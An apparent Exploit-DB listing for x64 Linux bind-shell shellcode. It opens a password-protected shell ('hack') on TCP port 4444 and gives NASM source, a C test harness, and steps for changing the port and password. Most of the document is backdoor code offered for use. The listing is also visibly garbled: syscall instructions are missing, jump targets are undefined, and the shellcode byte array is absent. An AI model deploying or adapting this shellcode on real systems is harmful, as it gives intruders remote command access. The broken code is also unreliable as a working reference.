TCP Bindshell with Password Prompt - 162 bytes

ID EDB-ID:39152
Type exploitdb
Reporter Sathish kumar
Modified 2016-01-02T00:00:00


TCP Bindshell with Password Prompt - 162 bytes. Shellcode exploit for linux platform

*Title:            tcp bindshell with password prompt in 162 bytes 
*Author:           Sathish kumar
*Description:      x64 Linux bind TCP port shellcode on port 4444 with reconfigurable password
*Tested On:        Ubuntu 14.04 LTS
*Build/Run:        gcc -fno-stack-protector -z execstack bindshell.c -o bindshell
*                   ./bindshell
*                   nc localhost 4444
* NOTE: This C code binds on port 4444 
* The top of this file contains the .nasm source code
* The Port can be Reconfigured According to your needs
* Instructions for changing port number
* Port obtainer change the port value accorddingly
*          				import socket
*		   				port = 4444
*          				hex(socket.htons(port))
*  					python 
*  					Result : 0x5c11 
* Replace the obtained value in the shellcode to change the port number
* For building the from .nasm source use
* 					nasm -felf64 filename.nasm -o filename.o
* 					ld filename.o -o filename
* To inspect for nulls
* 					objdump -M intel -D filename.o

global _start

    jmp sock
	prompt: db 'Passcode' ; initilization of prompt data
	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; syscall number 41 

	xor rax, rax    ;Xor function will null the values in the register beacuse we doesn't know whats the value in the register in realtime cases
	xor rsi, rsi 
	mul rsi       
	push byte 0x2   ;pusing argument to the stack
	pop rdi         ; poping the argument to the rdi instructions on the top of the stack should be remove first because stack LIFO
	inc esi         ; already rsi is 0 so incrementing the rsi register will make it 1
	push byte 0x29  ; pushing the syscall number into the rax by using stack
	pop rax
	; copying the socket descripter from rax to rdi register so that we can use it further 

	xchg rax, rdi
	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = INADDR_ANY
	; bzero(&server.sin_zero, 8)
	; setting up the data sctructure
	push 0x2			             ;AF_INET value is 2 so we are pushing 0x2
    mov word [rsp + 2],0x5c11        ;port 4444 htons hex value is 0x5c11 port values can be be obtained by following above instructions 
    push rsp                         ; saving the complete argument to rsi register
    pop rsi  						 
	; bind(sock, (struct sockaddr *)&server, sockaddr_len)
	; syscall number 49
	push rdx          				; Inserting the null to the stack 
	push byte 0x10                  
	pop rdx							; value of the rdx register is set to 16 size sockaddr
	push byte 0x31                   
	pop rax							; rax register is set with 49 syscall for bind
	;listen the sockets for the incomming connections	 
	; listen(sock, MAX_CLIENTS)
	; syscall number 50
	pop rsi
	push 0x32
	pop rax                          ; rax register is set to 50 syscall for listen
	; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
 	;syscall number 43
 	push 0x2b
	pop rax                           ; rax register is set to 43 syscall for accept
 	; storing the client socket description
	mov r9, rax
	; close parent
	push 0x3
	pop rax                            ; closing the parent socket connection using close parent rax is set to 3 syscall to close parent

	xchg rdi , r9
	xor rsi , rsi

	; initilization of dup2
	push 0x3                           
	pop rsi								; setting argument to 3 

    dec esi                            
    mov al, 0x21                       ;duplicate syscall applied to error,output and input using loop
    jne duplicate
	                                   ; Prompt for password
	xor rax, rax                      
	inc al                             ; rax register to value 1 syscall for write
	push rax	
	pop rdi							   ; rdi register to value 1
	lea rsi, [rel prompt]
	xor rdx, rdx                       ; xor the rdx register to clear the previous values
	push 0xe
	pop rdx
									   ; checking the password using read
	push rsp
	pop rsi
	xor rax, rax   ; system read syscall value is 0 so rax is set to 0
	push 0x6b636168 ; password to connect to shell is hack which is pushed in reverse and hex encoded
	pop rax
	lea rdi, [rel rsi]
	scasd           ; comparing the user input and stored password in the stack
	jne Exit
execve:                                      ; Execve format  , execve("/bin/sh", 0 , 0)
     xor rsi , rsi
     mul rsi                                 ; zeroed rax , rdx register 
     push ax                                 ; terminate string with null
     mov rbx , 0x68732f2f6e69622f            ; "/bin//sh"  in reverse order 
     push rbx
     push rsp
     pop rdi                                 ; set RDI
     push byte 0x3b                          ; execve syscall number (59)
     pop rax


	 ;Exit shellcode if password is wrong
	 push 0x3c
	 pop rax        ;syscall number for exit is 60
	 xor rdi, rdi 


unsigned char code[] = \
//Port number this can be obtained from the above instrcutions
//Password this can be obtained by
 * python 
 * 			password = 'hack' 
 * 			(password[::-1]).encode('hex')
 * 			Reuslt : 6b636168 
 * 	This is stored in reverse beacuse of stack


	printf("Shellcode Length:  %d\n", (int)strlen(code));

	int (*ret)() = (int(*)())code;